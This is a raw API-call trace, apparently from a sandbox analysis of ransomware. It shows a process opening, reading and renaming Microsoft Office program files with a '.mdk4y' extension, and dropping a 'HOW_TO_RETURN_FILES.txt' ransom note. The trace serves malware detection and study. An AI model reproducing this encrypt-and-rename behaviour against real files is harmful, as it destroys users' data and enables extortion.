[0259.086] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x57f78, lpOverlapped=0x0) returned 1 [0259.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833445700000) returned 1 [0259.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833445800000) returned 1 [0259.231] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\solutils.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\solutils.dll.mdk4y")) returned 1 [0259.234] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.234] AreFileApisANSI () returned 1 [0259.234] GetACP () returned 0x4e4 [0259.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPANISH.LNG", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SPANISH.LNGL", lpUsedDefaultChar=0x37dfd8) returned 11 [0259.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833446500000) returned 1 [0259.235] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x597e9, lpOverlapped=0x0) returned 1 [0259.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833448600000) returned 1 [0259.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833448600000) returned 1 [0259.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng.mdk4y")) returned 1 [0259.263] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.263] AreFileApisANSI () returned 1 [0259.263] GetACP () returned 0x4e4 [0259.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SplashScreen.bmp", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SplashScreen.bmpLL", lpUsedDefaultChar=0x37dfd8) returned 16 [0259.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833449500000) returned 1 [0259.265] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x173e8, lpOverlapped=0x0) returned 1 [0259.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833454100000) returned 1 [0259.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833454100000) returned 1 [0259.312] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp.mdk4y")) returned 1 [0259.314] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.314] AreFileApisANSI () returned 1 [0259.314] GetACP () returned 0x4e4 [0259.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SQLSHARE.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SQLSHARE.DLL.bmp", lpUsedDefaultChar=0x37dfd8) returned 12 [0259.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sqlshare.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833454600000) returned 1 [0259.316] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3d7a8, lpOverlapped=0x0) returned 1 [0259.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833479700000) returned 1 [0259.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833479700000) returned 1 [0259.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sqlshare.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\sqlshare.dll.mdk4y")) returned 1 [0259.572] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.572] AreFileApisANSI () returned 1 [0259.572] GetACP () returned 0x4e4 [0259.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSGEN.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SSGEN.DLLDLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0259.572] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ssgen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833480300000) returned 1 [0259.573] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x24748, lpOverlapped=0x0) returned 1 [0259.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833490400000) returned 1 [0259.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833490400000) returned 1 [0259.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ssgen.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ssgen.dll.mdk4y")) returned 1 [0259.678] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.678] AreFileApisANSI () returned 1 [0259.678] GetACP () returned 0x4e4 [0259.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STARTUP", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="STARTUPLL", lpUsedDefaultChar=0x37dfd8) returned 7 [0259.678] AreFileApisANSI () returned 1 [0259.678] GetACP () returned 0x4e4 [0259.678] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\") returned 51 [0259.678] AreFileApisANSI () returned 1 [0259.678] GetACP () returned 0x4e4 [0259.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0259.678] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0259.678] AreFileApisANSI () returned 1 [0259.678] GetACP () returned 0x4e4 [0259.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0259.678] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0259.678] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0259.680] AreFileApisANSI () returned 1 [0259.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0259.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\startup\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0259.681] GetFileType (hFile=0x12c) returned 0x1 [0259.681] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.681] AreFileApisANSI () returned 1 [0259.681] GetACP () returned 0x4e4 [0259.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STSLIST.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="STSLIST.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0259.681] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833491200000) returned 1 [0259.688] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0259.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833509800000) returned 1 [0259.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833509800000) returned 1 [0260.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll.mdk4y")) returned 1 [0260.146] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.146] AreFileApisANSI () returned 1 [0260.147] GetACP () returned 0x4e4 [0260.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STYLEMGR.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="STYLEMGR.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0260.147] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stylemgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833537900000) returned 1 [0260.149] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x20588, lpOverlapped=0x0) returned 1 [0260.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833545600000) returned 1 [0260.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833545600000) returned 1 [0260.228] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stylemgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\stylemgr.dll.mdk4y")) returned 1 [0260.230] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.230] AreFileApisANSI () returned 1 [0260.231] GetACP () returned 0x4e4 [0260.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="subscription.xsd", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="subscription.xsd", lpUsedDefaultChar=0x37dfd8) returned 16 [0260.231] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833546200000) returned 1 [0260.232] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x15f1, lpOverlapped=0x0) returned 1 [0260.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833550900000) returned 1 [0260.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833550900000) returned 1 [0260.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd.mdk4y")) returned 1 [0260.282] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.282] AreFileApisANSI () returned 1 [0260.282] GetACP () returned 0x4e4 [0260.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUMINFO.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SUMINFO.DLLn.xsd", lpUsedDefaultChar=0x37dfd8) returned 11 [0260.282] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\suminfo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833551300000) returned 1 [0260.283] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xef98, lpOverlapped=0x0) returned 1 [0260.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833564400000) returned 1 [0260.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833564400000) returned 1 [0260.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\suminfo.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\suminfo.dll.mdk4y")) returned 1 [0260.418] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.418] AreFileApisANSI () returned 1 [0260.418] GetACP () returned 0x4e4 [0260.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TaxonomyControl.dll", cchWideChar=19, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TaxonomyControl.dll", lpUsedDefaultChar=0x37dfd8) returned 19 [0260.418] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.418] AreFileApisANSI () returned 1 [0260.418] GetACP () returned 0x4e4 [0260.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THOCR.PSP", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="THOCR.PSPontrol.dll", lpUsedDefaultChar=0x37dfd8) returned 9 [0260.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833565000000) returned 1 [0260.420] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x46c00, lpOverlapped=0x0) returned 1 [0260.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833576000000) returned 1 [0260.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833576000000) returned 1 [0260.533] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp.mdk4y")) returned 1 [0260.535] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.535] AreFileApisANSI () returned 1 [0260.535] GetACP () returned 0x4e4 [0260.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THOCRAPI.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="THOCRAPI.DLLrol.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0260.535] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\thocrapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833582300000) returned 1 [0260.593] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8958, lpOverlapped=0x0) returned 1 [0260.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833587700000) returned 1 [0260.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833587800000) returned 1 [0260.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\thocrapi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\thocrapi.dll.mdk4y")) returned 1 [0260.651] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.651] AreFileApisANSI () returned 1 [0260.651] GetACP () returned 0x4e4 [0260.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TIMESOLN.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TIMESOLN.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0260.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833588200000) returned 1 [0260.652] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0260.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833601500000) returned 1 [0260.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833601500000) returned 1 [0260.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll.mdk4y")) returned 1 [0260.839] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.839] AreFileApisANSI () returned 1 [0260.839] GetACP () returned 0x4e4 [0260.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLIMPT.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TLIMPT.EXELL", lpUsedDefaultChar=0x37dfd8) returned 10 [0260.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\tlimpt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833607100000) returned 1 [0260.842] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x14380, lpOverlapped=0x0) returned 1 [0260.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833613900000) returned 1 [0260.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833613900000) returned 1 [0260.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\tlimpt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\tlimpt.exe.mdk4y")) returned 1 [0260.913] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0260.913] AreFileApisANSI () returned 1 [0260.913] GetACP () returned 0x4e4 [0260.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TWCUTCHR.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TWCUTCHR.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0260.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twcutchr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0260.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833614400000) returned 1 [0260.914] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x28b88, lpOverlapped=0x0) returned 1 [0260.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833622300000) returned 1 [0260.994] 